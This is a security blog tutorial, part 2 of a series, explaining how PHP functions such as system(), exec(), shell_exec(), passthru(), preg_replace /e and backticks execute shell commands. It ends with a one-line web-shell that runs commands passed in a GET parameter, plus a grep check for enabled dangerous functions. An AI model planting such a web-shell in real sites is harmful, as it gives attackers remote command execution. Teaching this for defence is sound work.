Introduction to Web-Shells, Part 2

In of this series, we looked at what a web-shell is, and why an attacker would seek to use one. In part 2 of this series, we’ll be looking at some specific examples of web-shells in the PHP programming language.

Web-shells exist for almost every web programming language you can think of. We chose to focus on PHP because it is the most widely-used programming language on the web.

PHP web-shells do nothing more than use built-in PHP functions to execute commands. The following are some of the most common functions used to execute shell commands in PHP.

Note — For the purposes of this article, we edited our host's file and pointed the domain www.example.com to a test server.

system()

The system() function accepts the command as a parameter and it outputs the result.

The following example on a Microsoft Windows machine will run the dir command to return a directory listing of the directory in which the PHP file is executing.

<?php
// Return the directory listing in which the file run (Windows)
system("dir");
?>

--> Volume in drive C has no label.
Volume Serial Number is A08E-9C63

Directory of C:\webserver\www\demo

04/27/2016 10:21 PM <DIR> .
04/27/2016 10:21 PM <DIR> ..
04/27/2016 10:19 PM 22 shell.php
1 File(s) 22 bytes
2 Dir(s) 31,977,467,904 bytes free

Executing the ls command on a Linux machine achieves a similar result.

<?php
// Return the directory listing in which the file run (Linux)
system("ls -la");
?>

--> total 12
drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:43 .
drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
-rw-rw-r-- 1 secuser secuser 26 Apr 27 20:41 shell.php

Other commands have the same effect.

<?php
// Return the user the script is running under
system(“whoami“);
?>

--> www-data

exec()

The exec() function accepts a command as a parameter but does not output the result. If a second optional parameter is specified, the result will be returned as an array. Otherwise, only the last line of the result will be shown if echoed.

<?php
// Executes, but returns nothing
exec("ls -la");
?>

-->

Using echo with the exec() function will only print the last line of the command’s output.

<?php
// Executes, returns only last line of the output
echo exec("ls -la");
?>

--> -rw-rw-r-- 1 secuser secuser 29 Apr 27 20:49 shell.php

If a second parameter is specified, the result is returned in an array.

<?php
// Executes, returns the output in an array
exec("ls -la",$array);
print_r($array);
?>

--> Array(
[0] => total 12
[1] => drwxrwxr-x 2 secuser secuser 4096 Apr 27 20:55 .
[2] => drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 ..
[3] => -rw-rw-r-- 1 secuser secuser 49 Apr 27 20:54 shell.php )

shell_exec()

The shell_exec() function is similar to exec(), however, instead, it outputs the entire result as a string.

<?php
// Executes, returns the entire output as a string
echo shell_exec(“ls -la“);
?>

--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:24 . drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser secuser 36 Apr 28 18:24 shell.php

passthru()

The passthru() function executes a command and returns the output in raw format.

<?php
// Executes, returns output in raw format
passsthru(“ls -la“);
?>

--> total 12 drwxrwxr-x 2 secuser secuser 4096 Apr 28 18:23 . drwxr-xr-x 6 secuser secuser 4096 Apr 27 20:40 .. -rw-rw-r-- 1 secuser secuser 29 Apr 28 18:23 shell.php

proc_open()

The proc_open() function can be difficult to understand (you can find a detailed description of the function in the PHP docs). Put simply, by using proc_open() we can create a handler (process) which will be used for the communication between our script and the program we want to run.

preg_replace() with the /e modifier

The preg_replace() function can perform a regular expression search and replace. The /e modifier (which is deprecated), executes the replacement with eval(). This means we can then pass PHP code to be executed by the eval() function.

<?php
preg_replace('/.*/e', 'system("whoami");', '');
?>

--> www-data

Backticks

Surprisingly, not many PHP developers are aware of this, however, PHP will execute the contents of backticks ( ` ) as a shell command.

Note — The backtick character ( ` ), should not be confused with the single quote character ( ‘ )

<?php
$output = `whoami`;
echo "<pre>$output</pre>";
?>

--> www-data

Based on the above, the following is a PHP web-shell in its simplest form.

<?php system($_GET['cmd']);?>

It uses the system() function to execute commands that are being passed through ‘cmd’ HTTP request GET parameter.

We have established that these functions (and a few others) can be very dangerous. What is even more dangerous, is that all these built-in PHP commands are enabled by default when PHP is installed, and the majority of system administrators do not disable them.

If you are unsure whether they are enabled on your system, the following command (PHP CLI needs to be installed) will return a list of the dangerous functions which are enabled.

php -r 'print_r(get_defined_functions());' | grep -E ' (system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)'<?php print_r(get_defined_functions()); ?>

On a default installation, we can see that all of the functions mentioned above are enabled.

[669] => exec
[670] => system
[673] => passthru
[674] => shell_exec
[675] => proc_open
[786] => show_source
[807] => parse_ini_file
[843] => popen